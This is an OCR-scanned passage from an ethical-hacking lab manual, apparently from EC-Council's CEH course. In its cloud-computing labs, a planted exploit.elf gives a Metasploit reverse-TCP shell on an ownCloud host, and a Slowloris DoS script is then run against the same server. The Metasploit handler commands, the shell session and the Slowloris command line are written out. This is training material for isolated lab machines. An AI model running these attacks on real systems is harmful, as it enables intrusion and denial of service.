10.10.10.11/share as the URI. and hit Enter. Click on the exploit.elf file to
download it.

Note: Here 10.10.10.11 is the IP address of the kali machine, this may vary in
your lab environment.

[ Index of /share X

& c O [@ 10.10.10.11/share ]

Index of /share

Name Last modified Size Description

® Parent Directory -
@ explost elf 2018-01-18 08:43 207

Apache’2.4.29 (Debian) Server ar 10.10.10.11 Port 80

FIGURE 3.10: Downloading the malicious file for uplad

12. Now from Shane user account, we will upload this malicious file in
ownCloud. Shane user account for ownCloud was configured in windows
10.

13. Click the Show hidden icons button on the taskbar and right -click on the
ownCloud icon. Select Open folder ‘ownCloud’ as shown in the screenshot.

Open ownCloud in browser
Managed Folders:
lf Open folder ‘ownCloud'

Up to date

Recent Changes ’

Settings...
Help

Pause synchronization
Log out
Quit ownCloud

FIGURE 3.11: Upbading the malicious fike
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14. Navigate to the share folder in ownCloud directory and paste the
downloaded exploit.eff file. ownCloud automatically starts syncing the
changes to the cloud.

+ | share = (=] x
Home Share View o
# Quick access Ene Type sz
M Desktop  # @ abe 171672018 1217PM  MP3 File 1KE
& Downloads  # 5 car 1/16/2018 12:20 PM__ JPG File K8
e——— ([T opioter ELF File T¥E)
x . . i test PDF File 1KB
& Pictures
CaesarCipher
dumps
GUIEverCrack
J Music
2 Dropbex
& OneNrive N
4items 1 item selected 207 bytes
FIGURE 3.12: Uploading the malicious file
B Task e 15. Now switch to the Ubuntu machine and open a browser (here Firefox).

Type localhost/owncloud as the URL and hit Enter. Type in the admin

Download the : :
user-credentials (here admin/qwerty@123) and log in.
Malicious Filein _ G ) o8
Admin System B owncloud X

| ¢ & [ D localhost

owntloud X

admin

ownCloud - A safe home for &

FIGURE 3.13: Login to the admin account
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16. Files page opens by default, click on the share folder to open it.

N Files -owncloud X

5 C @ localhost o D | P | =

= & +
ownCloud Manual & 2daysago
B share < aminute ago
- Photos 2daysago
- Documents 2days ago

FIGURE 3.14: Victim downloading the malicious fik:
17. You will see the malicious file, exploit.elf uploaded through the shane

account. For exploit.elf file, click the options icon and select Download as
shown in the screenshot.

I share-Files -ownCloud X

“— CG (@ localhost X P09 » =

# share -+

test 2days ago
. exploit &lf D 3 minutes ago

=w { T
n car t Deta 2 days ago

D abc 2days ago

FIGURE 3.15 Victim downlading the malicious fike
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E task 7

Execute the
Malicious File

Module 19 - Cloud Computing

18. Opening exploit.elf file pop-up appears, click the Save File button to
download this file on the victim machine hosting ownCloud.

X, Opening exploit.elf

You have chosen to open:

exploit.elf

which is: BIN file (207 bytes)
from: http://localhost

Would you like to save this file?

FIGURE 3.16: Victim downloading the malicious fik:

19. Now open a terminal window and type sudo su and hit Enter. You will be
asked to enter your password, input your password (here toor) and hit
Enter.

Note: You will not be able to see the password input.

root@ubuntu: /home/ubuntu

buntu@ubuntu:~$ sudo su
[sudo] password for ubuntu:
root@ubuntu: /home/ubuntu# i

FIGURE 3.17: Getting super user access
20. Type chmod -R 755 /home/ubuntu/Downloads/ and hit Enter.

root@ubuntu: /home/ubuntu

buntu@ubuntu:~$ sudo su

[sudo] password for ubuntu:

root@ubuntu: /home/ubuntu# chmod -R 755 /home/ubuntu/Downloads/
root@ubuntu: /home /ubuntu#

FIGURE 3.18: Changing permissions

21. Change the working directory to downloads by typing ed Downloads/ and
hit Enter.

root@ubuntu: /home/ubuntu/Downloads

buntu@ubuntu:~$ sudo su
[sudo] password for ubuntu:

root@ubuntu: /home/ubuntu# chmod -R 755 /home/ubuntu/Downloads/
root@ubunt home fubuntu# cd Downloads/
root@ubuntu: /home /ubuntu/Downloads# [§

FIGURE 3.19: Navigating to the file
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22. Now execute the file by typing Jexplolit.elf and hit Enter.

x root@ubuntu: /home/ubuntu/Downloads

sbuntu@ubuntu:~$ sudo su
[sudo] password for ubuntu:

root@ubuntu: /home/ubuntu# chmod -R 755 /home/ubuntu/Downloads/
root@ubuntu: /home /ubuntu# cd Downloads/
~oot@ubuntu: /home /ubuntu/Downloads# ./exploit.elf

FIGURE 32(: Running the malicious fik

23. Switch back to the Kali Linux machine and open up the terminal window
you will see that 2 command shell session has been established with the

Check Exploited it

System Details

H task s

root@kali: ~ (- C) o.

Fite Edit View Search Terminal Help

I i 16.1 ]
1699 exploits - 968 auxiliary - 299 post ]
503 payloads 40 encoders 10 nops |
Free Metasploit Pro trial: http://r-7.co/trymsp ]

1sf > multi/handler

1sf exploit( ) > set payload linux/x86/shell/reverse tcp
vayload => linux/x86/shell/reverse tcp

1sf exploit( ) set LHOST 10.160.10.11
0ST => 10.10.10.11
exploit( ) > set LPORT 4444
ORT
f exploit( ) > run
Exploit running as background job ©.

Started reverse TCP handler on 10.10.10.11:4444

exploit( > [*] Sending stage (36 bytes) to 10.10.10.9

Command shell s ion 1 opened (10.10.10.11 44 -> 10.10.10.9:58002) at
01-18 08:55:36 -0500

FIGURE 321: Command shell session obtained by attacker

CEH Lab Manual Page 1426 Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 19 -Cloud Computing

24, 'Type sessions -i 1 and hit Enter to interact with the victim machine.

root@kali; ~ (- O ]

File Edit View Search Terminal Help

=[ met 1.16.15-de 1
-=[ 1699 exploits 968 auxiliary 299 post 1
--=[ 503 payloads - 40 encoders - 10 nops 1

- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

1sf > use multi/handler
1sf exploit( ) > set payload linux/x86/shell/reverse tcp
payload linux/x86/shell/reverse tcp

loit( set LHOST 10.10.10.11

set LPORT 4444

run
Exploit running as background job 0.

Started reverse TCP handler on 10.10.10.11:4444

exploit( ) > [*] Sending stage (36 bytes) to 10.10.10.9

Command shell session 1 opened (16.10.10.11 -> 10.10.10.9:58014) at 2018
-01-18 08:57:53 -0500
essions -1 1
*] Starting interaction with 1...

FIGURE 322 Interacting with the victim

25. 'To view victim’s IP type ifconfig and hit Enter. You will be shown the
victim’s internet adapter configuration as shown in the screenshot.

root@kali: ~ (IO )
File Edit View Search Terminal Help
-01-18 ©8:57:53 -0500
sessions -1 1
*] Starting interaction with 1...

fconfig

ens33 Link encap:Ethernet HWaddr ©0:0c:29:93:Tb:5d
inet add 0.10.10.9 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80: :297f:fe93:fb5d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:150@ Metric:1
RX packets:3838 errors:0 dropped:® overruns:0 frame
TX packets:2727 errors:® dropped:0 overruns:0 carrier
collisions:0 txqueuele 000

RX bytes:2978677 (2.9 MB) TX bytes:1040493 (1.0 MB)

Link encap:Local Loopback

inet add 27.0.08.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:1663 errors:® dropped:@ overruns:0 frame:®@
TX packets:1663 errors:0 dropped:® overruns:@ carrier:0
collisions:0 txqueuelen:1000

RX bytes:2301486 (2.3 MB) TX bytes:2301486 (2.3 MB)

FIGURE 323 Getting exphited system details

CEH Lab Manual Page 1427 Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 19 - Cloud Computing

26. To get more information like the current working directory, type pwd and
hit Enter.

root@kali: ~ e ® O

File Edit View Search Terminal Help
*] Starting interaction with 1...

ifconfig
=ns33 Link encap:Ethernet Hwaddr 0 €:29:93:fb:5d
inet addr:10.10.10.9 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe8@::20c:29ff:fe93:fb5d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:3951 errors:0 dropped:® overruns:® frame:0
TX packets:2806 errors dropped:0® overruns:0@ carrier:0
collisions:® txqueuelen:1000
RX bytes:2995167 (2.9 MB) TX bytes:1057513 (1.0 MB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

:1757 errors dropped:® overruns:@ frame:©

kets:1757 errors:0 dropped:@ overruns:@ carrier:0
ons:0 txqueuelen:1000

RX bytes:2322214 (2.3 MB) TX bytes:2322214 (2.3 MB)

wd
home/ubuntu/Downloads

FIGURE 324: Getting exploited system details

27. 'To view the system user type whoami and hit Enter. Here you can see that
we have the root user access to the victim’s machine.

root@Kkall: ~ e 0O

File Edit View Search Terminal Help
fconfig
ens33 Link encap:Ethernet HWaddr 00:0c:29:93:fb:5d
inet addr:10.10.10.9 Bcast:10.10.10.255 Mask 5.255.255.0
inet6 addr: fe80::20c:29ff:fe93:fb5d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:3951 errors:0 dropped:® overruns:
TX packets:2806 errors dropped:© overruns:
collisions:® txqueuelen:1000
RX bytes:29951 (2.9 MB) TX bytes:1057513 (1.0 MB)

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr 1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:1757 error dropped:® overruns:0 frams
TX packets:1757 errors:0 dropped:® overruns:@ carri
collisions:® txqueuelen:1000

RX bytes:2322214 (2.3 MB) TX bytes:2322214 (2.3 MB)

pwd
home/ubuntu/Downloads

FIGURE 3.25: Getting exploited system details
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Lab Analysis

Analyze and document the tesults related to this lab exercise. Provide your opinion
on your target’s secutity posture and exposure through public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemet Connection Required

O Yes M No
Platform Supported
Classroom M iLabs
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Module 19 - Cloud Computing

Implementing DoS Attack on Linux
Cloud Server using Slowloris Script

Slowloris script gpens and maintains numerons “half- HHI'TP” connections until the
server runs out of resourves, leading to a denial of service.

Lab Scenario

As an ethical hacker and pen tester, you can use Slowloris sctipt to audit your network
against DoS attacks. When a successful DoS is detected, the script stops the attack
and returns these pieces of information (which may be useful to tweak further filtering
rules):

= Time taken until DoS
=  Number of sockets used

=  Number of queties sent

Lab Objectives

The objective of this lab is to help students learn how to petform a DoS attack—
in this case, HT'TP flooding.

Lab Environment

To complete this lab, you will need:

= Slowloris.pl file located at Z:\CEH-Tools\CEHv10 Module 10 Denial-of-
Service\DoS and DDoS Attack Tools\Slowloris

"7 Tools
demonstrated in = Kali Linux running as Attacker machine
this lab are . — "
TR = Ubuntu running as Victim machine
Z:\CEH- =  Windows 10 running as a Virtual machine
Tools\CEHV10 R
Module 10 Denial = Administrative privileges to run tools
of-Service
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H task 1

Loginto
Virtual Machines

H task 2

Launch Wireshark
and Start Packet
Capture

Module 19 -Cloud Computing

Lab Duration

Time: 10 Minutes

Overview of Lab

The Slowlotis script opens two connections to the server, each without the final
CRIF. After 10 seconds, second connection sends additional header. Both
connections then wait for server timeout. If second connection gets a timeout 10 or

more seconds after the first one, we can conclude that sending additional header
prolonged its timeout and that the server is vulnerable to Slowloris DoS attack.

A"LIKELY VULNERABLE" result means a server is subject to timeout-extension
attack but depending on the http servet's architecture and resource limits, a full denial
of service is not always possible. Complete testing requires triggering the actual DoS
condition and measuring server responsiveness.

Lab Tasks

1. Before starting the lab, launch Ubuntu machine and log into it.
2. 'Then, launch the Kali Linux virtual machine and log into it.

In the Kali Linux machine, launch Witeshark to capture DoS traffic. To
launch Wireshark, open a command terminal, type wireshark and press
Enter.

root@Kali: ~ (- I C )

File Edit View Search Terminal Help

FIGURE 4.1: Launching Wireshark

4. 'The Lua: Error during loading pop-up appears; click OK to continue.

Wireshark (]

Lua: Error during loading:

E [string "/usr/share/wireshark/init.lua"]:44: dofile has been
disabled due to running Wireshark as superuser. See https://
wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in
running Wireshark as an unprivileged user.

v OK

FIGURE 4.2: Lua: Error during loading pop-up
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H task 3

Use Slowloris.pl
to Perform a DoS
Attack

5.

6.

Module 19 - Cloud Computing

Wireshark main window appears showing you the available interface;
choose the ethernet interface and double-click on it to start capturing
the traffic.

Wireshark starts capturing network traffic, minimize both, the terminal
and wireshark windows.

A B

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

& ~_ Ready to load or capture No Packets Profile: Default J

The Wireshark Network Analyzer e 0

® D XCO\"‘.J“‘"’: Q Q @ 7F

play filter .. <Ctri-/> 3 - Expression.. +

Welcome to Wireshark
Capture

using this filter: Enter a capture filtes ~ | Allinterfaces shown ~

T —

Loopback: lo
nflog
nfqueue
usbmonl
usbmon2
@ Cisco remote capture: cisco
® Random packet g - randpkt
©® SSH remote capture: ssh
@ UDRP Listener remote capture: udpdump

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists
You are running Wireshark 2.4.4 (Git v2.4.4 packaged as 2.4.4-1).

FIGURE 4.3: Starting Capture

7. Now, navigate to the Desktop, and double-click CEH-Tools folder to

open it. A window appeats, displaying the CEH-Tools shared network
drive.

CEH-Tools

FIGURE 4.4: CEH-Tools Shared Network Drive
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8. Navigatc to CEHv10 Module 10 Denial-of-Service\DoS and DDoS Attack
Tools\Slowloris, right-click Slowloris.pl, and choose Copy from the context
menu and paste the file on Kali Linux Desktop.

L) [ 4 CEH-Tools  CEHv1O Module .Denial Of Service  DoS and DDoS Attack Tools — Slowloris  » ]
© Recent §i
@ Home Slowtoris.pl
& Desktop &) Open With Text Editor
Open With Other Application
[} Documents
Cut
@® Downloads Copy
J7 Musk Move to.
Copy to.
£ Pictures
Relete Permanently
B Videos Rename
@ Trash Compress
Properties
+ Other Locations

FIGURE 4.5 Copying the File

9. 'The Slowloris.pl file is pasted on Kali Linux desktop.

Slowtoris.pl

FIGURE 4.6: Pasting the File
10. Now, launch a new command line terminal, type cd Desktop and press
Enter to change the directory to the Desktop.

root@Kkali: ~/Desktop e ® 0
File Edit View Search Terminal Help

FIGURE 4.7: Changing Directory

11. Set full permissions to Slowloris.pl file by using the chmod command.

CEH Lab Manual Page 1433 Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited,



Module 19 -Cloud Computing

12. Now, type chmod 777 Slowloris.pl and press Enter. This command will set
Read, Write, and Execute permissions for the file.

root@kali: ~/Desktop (IO <]

File Edit View Search Terminal Help

:~# cd Desktop
Desktop# chmod 777 Slowloris.pl

Desk #

FIGURE 4.8: Changing Permissions

13. Perform the DoS attack on the victim setver by running this command:
JSlowloris.pl -dns <IP address of the Target > (type the command and
press Enter).

14. In this lab, we ate using the Ubuntu machine as the target server, with the
IP address 10.10.10.9.

Note: The IP address may differ in your lab environment.

root@kali: ~/Desktop e ® O
File Edit View Search Terminal Help

# cd Desktop
Desktop# chmod 777 Slowloris.pl

Desktop# ./Slowloris.pl -dns 10.16.16.9]

FIGURE 4.9: Performing Attack

15. Once you press Enter, the petl script displays scrolling text, as shown in the
screenshot.

root@kali: ~/Desktop e e ﬂ

File Edit View Search Temminal Help
jelcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client bjl
y Laera Loris
defaulting to port 80.
yefaulting to a 5 second tcp connection timeout.
faulting to a 100 ond re-try timeout.
faulting to 1000 connections.
jultithreading enabled.
onnecting to 10.10.10.9:80 every 100 seconds with 1000 sockets:
Building sockets.
Building sockets.
Sending data.
‘urrent stats: Slowloris has now sent 278 packets successful
his thread now sleeping for 100 seconds...

Building sockets.

Sending data.
nt stats: Slowloris has now sent 556 packets successfully.
thread now sleeping for 100 seconds...

Building sockets.
Building sockets
Building
Building
Building s

FIGURE 4.10: Performing Attack
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H task a4

Verify the Effect
of the Attack

Module 19 -Cloud Computing

16. Now switch to the Ubuntu machine and open the Firefox browser. In the
address bat, type localhostiowncloud/ as the URL and hit Enter.

» localhost/owncloud/ X

&« X [ i) localhost/ow j e @ Q] » =

FIGURE 4.11: Webpage unavailable

17. 'The browser will not be able to fetch the webpage because of the high number
of HTTP packets being sent by the kali machine.

18. Click the X icon to stop loading the page.

= localhost/owncloud/ X

< (@ localhost,

FIGURE 4.12: Webpage unavailable

19. Now switch to the Windows 10 machine and open a browser (hete Chrome).
In the address bar, type 10.10.10.9/owncloud/ as the URL and hit Enter.

e - (n] X
C 1010.109/owncloud/ X

= X 0 [® 10.10109/0wncloud %] :

FIGURE 4.13: Webpage unavailable

20. The browser will not be able to fetch the webpage because of the high number
of HTTP packets being sent by the kali machine.

21. Click the X icon to stop loading the page.

10.10.10.9/owncloud/ x

< Q ® 10.10.10.9/0wncloud ¢

FIGURE 4.14: Webpage unavailable
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H task s

Stop the DoS
Attack

H task s

Stop Packet
Capture and
Analyze Results

Module 19 -Cloud Computing

22. Now switch back to the kali machine and open up the terminal running
slowlofis sctipt. Press Ctri+C to terminate the script and then close this

terminal window.

root@kali: ~/Desktop

File Edit View Search Terminal Help
Building sockets.
Sending data.
Current stats: Slowloris has now sent 1544 packets

This thread now sleeping for 100 seconds...

Building sockets.

Sending data.

Slowloris has now sent 1594 packets
100 seconds...

urrent stats:
This thread now sleeping for

Building sockets.

Sending data.
Current stats: Slowloris has now sent 1644 packets
his thread now sleeping for 100 seconds...

Sending data.
Slowloris has now sent 1665 packets
now sleeping for 100 seconds...

Current stats:
his thread

Building sockets.
Building sockets.

ktop# i

FIGURE 4.15: Stopping Attack

e o0

successfully.

successtully.

successfully.

successfully.

23. Open up the Wireshark window and click stop icon to stop the packet capture.

Capturing from ethO 0 ﬂ
File Edt View Go Capture Analyze Statistics Telephony Wireless Tools Help
4 ¢ = = Q @ .
@ i 0 Q « » Jle o _ @ @ ¢
|5 Expression..  +
0. Time Source Destination Protocol _Length lnfo |

FIGURE 4.16: Stopping packet capture
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EH task 7

Verify that the
DoS Attack is
Terminated

Module 19 - Cloud Computing

24. In the Wireshark window you will be able to see all the packets which were
exchanged between the Kali and Ubuntu machines during the attack. Analyze
the results and then dose both, the Wireshark and the terminal windows.

Setho ceeo

File Ed% View Go Capture Andlyze Statistics Telephomy Wireless Tools Help
AR @ DN RC Qes Jw s ® Q|
36 B3 -] Egression + |
No Time Source Destination Protocol Length info B

163 7.268458912 10.10.10.11 10.10.10.9 TcP 7455740 - 80 [SYN] S

164 7.268490869  10.10.10.9 10.10.10.11 e 66 80 - 55738 [ACK] S«

165 7.268544476  10.10.10.11 16.18.18.9 e 74 55742 ~ 80 [SYN] S¢

166 7.268608502 10.10.10.9 10.10.10.11 e 74 89 - 55740 [SYN, A

167 7.268619184  16.16.10.11 10.10.10.9 e 66 55740 ~ 88 [ACK] S«

168 7.26804769¢  10.10.10.9 16.16.10.11 e 74 89 - 55742 [SYN, A

169 7.268652000 10.10.10.11 10.10.10.9 e 66 55742 - 88 [ACK] S«

176 7.268765164  16.16.10.11 10.10.10.9 e 293 55742 ~ 80 [PSH, A

171 7.268917497  10.10.10.11 10.10.10.9 e 74 55744 - 86 [SYN] S¢

172 7.268937280  10.10.10.9 10.10.10.11 e 66 59 -~ 55742 [ACK] S«

173 7.269031388  10.16.10.11 10.10.10.9 e 293 55740 - 80 [PSH, AL

174 7.269671165 10.10.10.9 10.10.10.11 e 74 80 - 55734 [SYN, M

175 7.269080657 10.10.10.11 10.10.10.9 TcP 66 55744 - 88 [ACK] S«
3 176 7. 2691889R6 10.10.10.9 10.18.18.11 TR 66 BA -~ 55748 [ACK) ?l -

» Frame 1: 76 bytes on wire (566 bits), 76 bytes captured (566 bits) on interface 6

» Ethernet II, Src: Vmware 74:39:42 (90:0c:29:74:39:42), Dst: IPvéacast 62 (33:33:00:60:00:02)
» Internet Protocol Version 6, Src: fe8d::28c:29ff:fe74:3942, Dst: ffe2::2

» Internet Control Message Protocol vé

90 60 62 60 6c 29 74 39 42 86 dd 60 60
82 oc

10 3a ff fe 30 00 60 60 60 00 60
42 ff 62 ©0 00 60 60 60 60 60 60
00 00 62 85 00 bS a9 60 60 60 60 01 01

88388

28388

28788
2

74 39 42

FIGURE 4.17: Packets exchanged during the Attack

25. Now switch to the Ubuntu machine and reload the webpage. This time the
browser will show you the ownCloud login page since the DoS attack has had
been terminated.

¥ owncloud X

= C (@ localhost

owntloud X

ownCloud - A safe for all your data

FIGURE 4.18 Rebading the webpage afier stopping the attack
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26. Switch to the Windows 10 machine and reload the webpage to verify that the
DosS attack is stopped and the cloud setvices are available for the user again.

e - 8] X
B ownCloud x

< C ) | ® Notsecure | 10.10.10.9/owncloud/inde

ownCloud - A safe'home for all your data

FIGURE 4.19: Rekoading the webpageafter stopping the attack

Lab Analysis

Analyze and document the results related to this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB

‘ Internet Connection Required i

[ Yes No
Platform Supported
M Classroom M iLabs
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